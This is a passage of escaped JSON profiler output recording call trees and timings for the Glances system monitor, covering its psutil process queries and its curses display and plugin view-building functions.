\"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002719975309446, \"l1593\": 0.0020002719975309446},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020024170007673092, \"l1064\": 0.0020024170007673092},\"children\": [{\"identifier\": \"cpu_count\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001667\",\"time\": 0.002002,\"attributes\": {\"l1682\": 0.0020024170007673092},\"children\": [{\"identifier\": \"cpu_count_logical\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000535\",\"time\": 0.002002,\"attributes\": {\"l538\": 0.0020024170007673092},\"children\": [{\"identifier\": \"sysconf\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.001998,\"attributes\": {\"c_GeneratorContextManager\": 0.0019975729956058785, \"l148\": 0.0019975729956058785},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019975729956058785, \"l543\": 0.0019975729956058785},\"children\": [{\"identifier\": \"oneshot_exit\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001732\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019975729956058785, \"l1733\": 0.0019975729956058785},\"children\": [{\"identifier\": \"cache_deactivate\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000399\",\"time\": 0.001998,\"attributes\": {\"l402\": 0.0019975729956058785},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020001150041935034, \"l382\": 0.0020001150041935034},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019998880015918985, \"l1116\": 0.0019998880015918985},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.004003,\"attributes\": {\"cProcess\": 0.004003192996606231, \"l836\": 0.004003192996606231},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004003,\"attributes\": {\"cProcess\": 0.004003192996606231, \"l1593\": 0.004003192996606231},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.004003,\"attributes\": {\"cProcess\": 0.004003192996606231, \"l1796\": 0.002001973000005819, \"l1799\": 0.002001219996600412},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002002,\"attributes\": {\"l682\": 0.002001973000005819},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.001995562997763045, \"l836\": 0.001995562997763045},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.001995562997763045, \"l1593\": 0.001995562997763045},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.001995562997763045, \"l1799\": 0.001995562997763045},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"nice\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000791\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019999719952465966, \"l794\": 0.0019999719952465966},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019999719952465966, \"l1593\": 0.0019999719952465966},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019988200001535006, \"l939\": 0.0019988200001535006},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019988200001535006, \"l1593\": 0.0019988200001535006},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019988200001535006, \"l2052\": 0.0019988200001535006},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019988200001535006, \"l1593\": 0.0019988200001535006},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.002002,\"attributes\": {\"c_GeneratorContextManager\": 0.002001959001063369, \"l148\": 0.002001959001063369},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001959001063369, \"l542\": 0.002001959001063369},\"children\": [{\"identifier\": \"cache_deactivate\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000399\",\"time\": 0.002002,\"attributes\": {\"l404\": 0.002001959001063369},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019973279995610937, \"l680\": 0.0019973279995610937},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019973279995610937, \"l1593\": 0.0019973279995610937},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019973279995610937, \"l1740\": 0.0019973279995610937},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019973279995610937, \"l1593\": 0.0019973279995610937},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019973279995610937, \"l382\": 0.0019973279995610937},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019973279995610937, \"l1683\": 0.0019973279995610937},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.001997,\"attributes\": {\"l730\": 0.0019973279995610937},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.001997,\"attributes\": {\"l718\": 0.0019973279995610937},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"is_running\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000625\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.008000077003089245, \"l639\": 0.008000077003089245},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.008000077003089245, \"l314\": 0.008000077003089245},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.008000077003089245, \"l347\": 0.008000077003089245},\"children\": [{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.002007,\"attributes\": {\"cProcess\": 0.0020072090046596713, \"l394\": 0.0020072090046596713},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002007,\"attributes\": {\"cProcess\": 0.0020072090046596713, \"l1593\": 0.0020072090046596713},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.002007,\"attributes\": {\"cProcess\": 0.0020072090046596713, \"l1857\": 0.0020072090046596713},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002007,\"attributes\": {\"cProcess\": 0.0020072090046596713, \"l1593\": 0.0020072090046596713},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002007,\"attributes\": {\"cProcess\": 0.0020072090046596713, \"l375\": 0.0020072090046596713},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002007,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001993,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.0039998360007302836, \"l394\": 0.0039998360007302836},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.0039998360007302836, \"l1593\": 0.0039998360007302836},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.0039998360007302836, \"l1857\": 0.0039998360007302836},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.0039998360007302836, \"l1593\": 0.0039998360007302836},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019992469970020466, \"l375\": 0.0019992469970020466},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019992469970020466, \"l1688\": 0.0019992469970020466},\"children\": [{\"identifier\": \"bytes.find\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update_processcount\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000173\",\"time\": 0.002000,\"attributes\": {\"cGlancesProcesses\": 0.0019997889976366423, \"l183\": 0.0019997889976366423},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"update_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000683\",\"time\": 0.004001,\"attributes\": {\"cGlancesProcesses\": 0.004000558001280297, \"l688\": 0.0019995050024590455, \"l689\": 0.002001052998821251},\"children\": [{\"identifier\": \"filter\\u0000/home/nicolargo/dev/glances/glances/filter.py\\u000094\",\"time\": 0.002000,\"attributes\": {\"cGlancesFilter\": 0.0019995050024590455, \"l97\": 0.0019995050024590455},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"list_of_namedtuple_to_list_of_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000587\",\"time\": 0.002001,\"attributes\": {\"l589\": 0.002001052998821251},\"children\": [{\"identifier\": \"namedtuple_to_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000582\",\"time\": 0.002001,\"attributes\": {\"l584\": 0.002001052998821251},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0020004120015073568, \"l155\": 0.0020004120015073568},\"children\": [{\"identifier\": \"get_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000704\",\"time\": 0.002000,\"attributes\": {\"cGlancesProcesses\": 0.0020004120015073568, \"l711\": 0.0020004120015073568},\"children\": [{\"identifier\": \"processes_to_programs\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000062\",\"time\": 0.002000,\"attributes\": {\"l69\": 0.0020004120015073568},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.022127,\"attributes\": {\"cProgramlistPlugin\": 0.007998098997632042, \"l678\": 0.01999778599565616, \"cPercpuPlugin\": 0.0020025990015710704, \"cProcesslistPlugin\": 0.012125980996643193, \"l686\": 0.0021288930001901463},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.003998,\"attributes\": {\"cProgramlistPlugin\": 0.003998455002147239, \"l634\": 0.003998455002147239},\"children\": [{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002000674998271279, \"l628\": 0.002000674998271279},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.002000020002014935, \"l633\": 0.002000020002014935},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.002000020002014935, \"l621\": 0.002000020002014935},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.009997,\"attributes\": {\"cProcesslistPlugin\": 0.009997087996453047, \"l633\": 0.0059975350013701245, \"l634\": 0.001999766995140817, \"l656\": 0.0019997859999421053},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.005998,\"attributes\": {\"cProcesslistPlugin\": 0.0059975350013701245, \"l614\": 0.0020010750013170764, \"l619\": 0.002049636997980997, \"l623\": 0.0019468230020720512},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002050,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001947,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002129,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001138\",\"time\": 2.059512,\"attributes\": {\"cGlancesCursesStandalone\": 2.0595123960010824, \"l1154\": 0.04987349200382596, \"l1169\": 1.005349382008717, \"l1172\": 1.0042895219885395},\"children\": [{\"identifier\": \"flush\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001124\",\"time\": 0.049873,\"attributes\": {\"cGlancesCursesStandalone\": 0.04987349200382596, \"l1135\": 0.04987349200382596},\"children\": [{\"identifier\": \"display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000549\",\"time\": 0.049873,\"attributes\": {\"cGlancesCursesStandalone\": 0.04987349200382596, \"l569\": 0.04787177100661211, \"l603\": 0.0020017209972138517},\"children\": [{\"identifier\": \"__get_stat_display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000514\",\"time\": 0.047872,\"attributes\": {\"cGlancesCursesStandalone\": 0.04787177100661211, \"l545\": 0.04787177100661211},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.045871,\"attributes\": {\"cProgramlistPlugin\": 0.019871317002980504, \"l1101\": 0.04587143400567584, \"cProcesslistPlugin\": 0.026000117002695333},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000556\",\"time\": 0.045871,\"attributes\": {\"cProgramlistPlugin\": 0.019871317002980504, \"l566\": 0.001874462999694515, \"l587\": 0.04399697100598132, \"cProcesslistPlugin\": 0.026000117002695333},\"children\": [{\"identifier\": \"sort_stats\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000800\",\"time\": 0.001874,\"attributes\": {\"l824\": 0.001874462999694515},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001874,\"attributes\": {},\"children\": []}]},{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.043997,\"attributes\": {\"cProgramlistPlugin\": 0.01799685400328599, \"l538\": 0.03795036199880997, \"l544\": 0.0020466889982344583, \"cProcesslistPlugin\": 0.026000117002695333, \"l539\": 0.001999666004849132, \"l537\": 0.0020002540040877648},\"children\": [{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.0020010750013170764, \"l361\": 0.0020010750013170764},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.0020010750013170764, \"l350\": 0.0020010750013170764},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.0020010750013170764, \"l1251\": 0.0020010750013170764},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.002001,\"attributes\": {\"l478\": 0.0020010750013170764},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002133,\"attributes\": {\"cProgramlistPlugin\": 0.0021330059971660376, \"l325\": 0.0021330059971660376},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002133,\"attributes\": {\"cProgramlistPlugin\": 0.0021330059971660376, \"l885\": 0.0021330059971660376},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002133,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_nprocs\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000172\",\"time\": 0.001866,\"attributes\": {\"cProgramlistPlugin\": 0.0018656000029295683, \"l176\": 0.0018656000029295683},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001866,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019995569964521565, \"l324\": 0.0019995569964521565},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002001197004574351, \"l309\": 0.002001197004574351},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002001197004574351, \"l848\": 0.002001197004574351},\"children\": [{\"identifier\": \"get_stat_name\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000794\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002001197004574351, \"l801\": 0.002001197004574351},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.0019987039995612577, \"l440\": 0.0019987039995612577},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.0019987039995612577, \"l292\": 0.0019987039995612577},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002047,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001953,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_num_threads\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000411\",\"time\": 0.002002,\"attributes\": {\"cProcesslistPlugin\": 0.0020016490016132593, \"l420\": 0.0020016490016132593},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002043,\"attributes\": {\"cProcesslistPlugin\": 0.0020432199962669984, \"l309\": 0.0020432199962669984},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002043,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.001956,\"attributes\": {\"cProcesslistPlugin\": 0.0019558800049708225, \"l429\": 0.0019558800049708225},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.001956,\"attributes\": {\"cProcesslistPlugin\": 0.0019558800049708225, \"l278\": 0.0019558800049708225},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001956,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.002013,\"attributes\": {\"cProcesslistPlugin\": 0.002013150995480828, \"l497\": 0.002013150995480828},\"children\": [{\"identifier\": \"split_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000101\",\"time\": 0.002013,\"attributes\": {\"l114\": 0.002013150995480828},\"children\": [{\"identifier\": \"split\\u0000<frozen posixpath>\\u0000100\",\"time\": 0.002013,\"attributes\": {\"l108\": 0.002013150995480828},\"children\": [{\"identifier\": \"str.rstrip\\u0000<built-in>\\u00000\",\"time\": 0.002013,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002013,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.003987,\"attributes\": {\"cProcesslistPlugin\": 0.003987194002547767, \"l324\": 0.0019922550054616295, \"l325\": 0.0019949389970861375},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.001992,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001992,\"attributes\": {},\"children\": []}]},{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001995,\"attributes\": {\"cProcesslistPlugin\": 0.0019949389970861375, \"l855\": 0.0019949389970861375},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001995,\"attributes\": {\"cProcesslistPlugin\": 0.0019949389970861375, \"l963\": 0.0019949389970861375},\"children\": [{\"identifier\": \"str.lower\\u0000<built-in>\\u00000\",\"time\": 0.001995,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999599000555463, \"l440\": 0.001999599000555463},\"children\": [{\"identifier\": 